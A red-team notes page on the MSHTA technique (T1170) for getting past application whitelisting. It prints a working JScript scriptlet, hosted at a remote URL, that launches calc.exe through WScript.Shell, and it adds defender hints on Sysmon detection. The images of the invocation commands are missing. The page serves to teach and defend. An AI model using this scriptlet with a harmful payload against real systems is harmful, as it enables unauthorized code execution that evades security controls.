T1170: MSHTA

MSHTA code execution - bypass application whitelisting.

Execution

Writing a scriptlet file that will launch calc.exe when invoked:

http://10.0.0.5/m.sct
<?XML version="1.0"?>
<scriptlet>
<registration description="Desc" progid="Progid" version="0" classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"></registration>

<public>
    <method name="Exec"></method>
</public>

<script language="JScript">
<![CDATA[
    function Exec()    {
        var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
    }
]]>
</script>
</scriptlet>

Invoking the scriptlet file hosted remotely:

Observations

As expected, calc.exe is spawned by mshta.exe. Worth noting that mhsta and cmd exit almost immediately after invoking the calc.exe:

As a defender, look at sysmon logs for mshta establishing network connections:

Also, suspicious commandlines:

Bonus

The hta file can be invoked like so:

or by navigating to the file itself, launching it and clicking run:

References

Last updated

Was this helpful?